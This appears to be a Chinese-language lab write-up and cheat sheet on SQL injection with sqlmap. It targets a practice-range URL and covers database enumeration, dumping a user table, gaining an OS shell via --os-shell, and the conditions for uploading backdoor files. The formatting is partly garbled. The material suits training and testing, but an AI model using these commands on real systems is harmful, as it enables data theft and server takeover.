靶场环境
明显存在sql注入
基础实践sqlmap形式
sqlmap实战
探测出含有的注入类型
1 sqlmap -u http://59.63.200.79:8804/single.php?id=1 --batch --threads=10
查库
1 sqlmap -u http://59.63.200.79:8804/single.php?id=1 --dbs --batch --threads=10
查表
1 sqlmap -u http://59.63.200.79:8804/single.php?id=1 -D cake --tables --batch --threads=10查值
1 sqlmap -u http://59.63.200.79:8804/single.php?id=1 -D cake -T user --dump --batch --threads=10扫不出后台地址,试试能不能直接getshell
测试 –is-dba
1 sqlmap -u http://59.63.200.79:8804/single.php?id=1 --is-dba --batch --threads=10绝对路径 把is-dba改成–sql-shell
直接 把–sql-shell改成os-shell拿到shell了
基础命令
一、查看数据库相关信息
- –current-user 枚举当前用户
- –current-db 枚举当前数据库
- –dbs 枚举当前可用数据库
- –is-dba 枚举当前数据库权限
- –password 枚举当前数据库用户密码
二、指纹识别
- -f 启用广泛的指纹识别
- -b 检测数据库指纹
- –hostname 枚举主机名称
三、Waf识别
- –identify-waf 检测waf信息
四、sqlmap更新
- –update 更新
1 | 小知识 |
常见的注入方式
基本操作上面已经写了。其他百度
-l burp.log 加载request日志
–batch 自动选Y
–smart 启发式快速判断,节约时间
Cookie注入
--cookie "id=2"
--forms 自动搜索表单信息
1
2
3
4
5
- **Post注入**
- **使用**--delay 1
1
2
3
- 请求延时注入--level 5 2级以上会尝试cookie 3级以上就对head注入
1
2
3
- 等级 1-5--user-agent 防止被人工办了
1
2
3
- 自动更换请求头--count
1
2
3
- 获取表中的数量--risk 3 大于2 就开始or updatexml进行测试,可能造成更新整个表。
1
2
3
- 风险等级条件 一、测试--is-dba必须是true 二、需要知道绝对路径,利用--sql-shell 三、GPC为off,php主动转义的功能关闭 四、secure_file-priv为空 可以自动生成,上传脚本文件、后门文件
1
2
3
4
5
- --sql-shell 数据库操作
- --os-shell 系统操作
1
2
3
4
5
6
7
8
# 系统库注入
- 表名
```sql
select table_name from information_schema.tables where table_schema=database() limit 0,1;列名
1 select column_name from information_schema.columns where table_name='a_user' limit 0,1;